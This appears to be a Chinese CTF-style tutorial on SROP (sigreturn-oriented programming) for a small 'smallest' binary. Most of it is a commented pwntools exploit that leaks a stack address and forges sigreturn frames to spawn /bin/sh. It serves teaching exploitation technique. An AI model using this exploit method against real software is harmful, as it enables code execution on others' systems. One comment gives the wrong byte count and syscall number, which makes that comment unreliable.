SROP
复制本地路径 | 在线编辑
SROP 是利用 sigreturn 这个系统调用,sigreturn 是用于恢复用户现场的。而恢复的现场(也就是执行系统调用的时候保存的结构)是放在用户栈上的。具体的结构细节自行搜索,叫做 sigframe。
要理解的是 sigreturn 和 read 是类似的,就是一个系统调用。都是把对应的调用号写到 rax 中,然后执行 syscall 这条指令。系统会根据 rax 区分用哪一个系统调用。
SROP 本质上就是构造一个假的 sigFrame,然后去触发 sigreturn。上一段已经说了,sigreturn 和其他系统调用本质都是一样的,所以触发 sigreturn 就是把 rax 修改为 sigreturn 在 syscall 对应的号,然后调用 syscall 就可以了。
练习题
程序就是下面的汇编代码, 正常运行时 syscall[rax](rdi, rsi, edx), 相当于执行 read(0,$rsp,400):
xor rax, rax
mov edx, 400h
mov rsi, rsp
mov rdi, rax
syscall
retn
利用思路看 exp, 注释里说的很详细了
from pwn import *
context.terminal = ['gnome-terminal', '--', '/bin/zsh', '-c']
small = ELF('./smallest')
# sh = gdb.debug('./smallest')
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
# 第一轮: syscall == read(0, esp, 400)
# syscall 前, rsp == rsi --> {xxx} {yyy} {zzz}
# syscall 后, 栈分布: rsp --> {start_addr}{start_addr}{start_addr}
# ret 后, 跳转到了 start_addr, 即开始下一轮
payload = p64(start_addr) * 3
sh.send(payload)
temp = input()
# sleep(20)
# 第二轮: syscall == read(0, esp, 400)
# Hint: 因为 start_addr 是 code 段, 它的结尾固定是 b0
# 所以如果写入一个字节 b3, 那么就相当于 start_addr+0x3
# syscall 前, rsp --> {start_addr}{start_addr}
# syscall 后, rsp --> {start_addr + 0x03}{start_addr}
# ret 后, 跳转到了 start_addr + 0x03
sh.send('\xb3')
temp = input()
# 第三轮
# 上一轮只发送一个字节,所以 rax 返回值是 1
# 上一轮跳转到 star_addr + 0x3, 这条语句是 mov ..., 因此也就避免了执行第一条语句: xor eax, eax
# 因为 rax = 0x1, syscall == write(1, esp, 0x400), 因此输出栈地址内容到标准输出中
# syscall 前, rsp --> {start_addr} {xxxx}
# syscall 后, rsp --> {start_addr} {xxxx} (因为是输出, 不是前面几轮是输入)
# ret 后, 跳转到了 start_addr
# 这个 stack_addr 就是上面两行的 {xxxx}
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
## the frame is read(0, stack_addr, 0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b'a' * 8 + bytes(sigframe)
# 第四轮
# syscall == read(0, esp, 0x400)
# syscall 前, rsp --> {stack_addr} {...}
# syscall 后, rsp --> {start_addr} {'a'*8} {sigframe} (看上面的sigframe)
# (注意看, 此时是 stack_addr, 输入的 payload 覆盖成了 start_addr)
# ret 后, 跳转到了 start_addr
sh.send(payload)
temp = input()
# sleep(5)
# 第五轮
# syscall == read(0, esp, 0x400)
# syscall 前, rsp --> {'a'*8} {sigframe}
# syscall 后, rsp --> {syscall_ret} {'b'*7} {reset of sigframe}
# ret 后, 跳转到了 syscall ret 语句
sigreturn = p64(syscall_ret) + b'b' * 7
sh.send(sigreturn)
temp = input()
# sleep(5)
# 第六轮
# 上一次发送 15 个字节,rax = 15, 此时执行 syscall 对应 sigreturn
# sigreturn 就是从栈中恢复现场的一个指令
# 个人猜测执行 sigreturn 的流程: 首先确实会在栈中保存现场, 然后跳到 signal handler 去根据调用号执行对应命令, 这里由于调用好是 15, 所以为 sigreturn 恢复了现场, 然后执行完 signal handler 会跳到 sigreturn 恢复现场, 结果这里又恢复了一次, 也就是恢复了我们伪造的现场.
# 上面这个破站点很多, 具体细节以后再谈, 反正知道 sigreturn 后就会恢复以当前栈顶找到保存的现场, 恢复它.
# syscall 发生前, rsp --> { [b*7] sigframe }
# syscall 发生后第一瞬间, rsp --> { [b*7] sigframe }
# syscall 发生后第二瞬间, 开始利用 rsp 来还原现场. 因为 sigframe 前面几个字节对应一些无关紧要的地方,所以修改它们没问题,你可以把他们想象成 r8, r9 这种没啥大用的寄存器.
# 内核会认为现在栈的存储是 Signal Frame,而这里内容是我们伪造的
# 所以内核把伪造的 Signal Frame 分配给相应寄存器后,由于规定 rip = syscall_ret,所以继续执行 syscall
# 又因为伪造的 Signal Frame 规定了 rax, rsp 等相关信息,所以现在相当于执行了 read(0, stack_addr, 0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
# 第七轮
# syscall == read(0, stack_addr, 400)
# syscall 前, rsp = stack_addr --> {...} (上一轮恢复现场中让 rsp 变成了 stack_addr)
# syscall 后, rsp = stack_addr --> { start_addr } { b*8 } { sigframe } { 00*n } { '/bin/sh' }
# ret 后, 跳到了 start_addr
frame_payload = p64(start_addr) + b'b' * 8 + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00'
sh.send(payload)
raw_input()
# 第八轮
# syscall == read(0, stack_addr, 400) (因为 star_addr 开始就是 xor eax, eax 这条语句, rax 一定为 0)
# syscall 前, rsp=stack_addr+0x08 --> { b*8 } { sigframe } { 00*n } { '/bin/sh' }
# syscall 后, rsp=stack_addr+0x08 --> { syscall_ret } { [b*7] sigframe } { 00*n } { '/bin/sh' }
# ret 后, 跳到了 syscall_ret
sigreturn = p64(syscall_ret) + b'b' * 7
sh.send(sigreturn)
temp = input()
# sleep(5)
# 第九轮
# syscall == sigreturn (因为发送了 14 字节, rax == 14)
# syscall 发生前, rsp=stack_addr+0x16 --> { [b*7] sigframe } {00*n} {'/bin/sh'}
# syscall 发生后第一瞬间, rsp=stack_addr+0x16 --> { [b*7] sigframe } {00*n} {'/bin/sh'}
# syscall 发生后第二瞬间, 同样, 开始用伪造的 sigframe 还原现场
# 伪造: rip == syscall, rax == execv 对应数字, rdi == stack_addr+0x120
# 结果: 执行 syscall(rax, rdi) 即 execv(rdi), 由于 00*n 是精心涉及的, rdi 就是指向 '/bin/sh'
# 所以最终效果: execv('/bin/sh')
sh.interactive()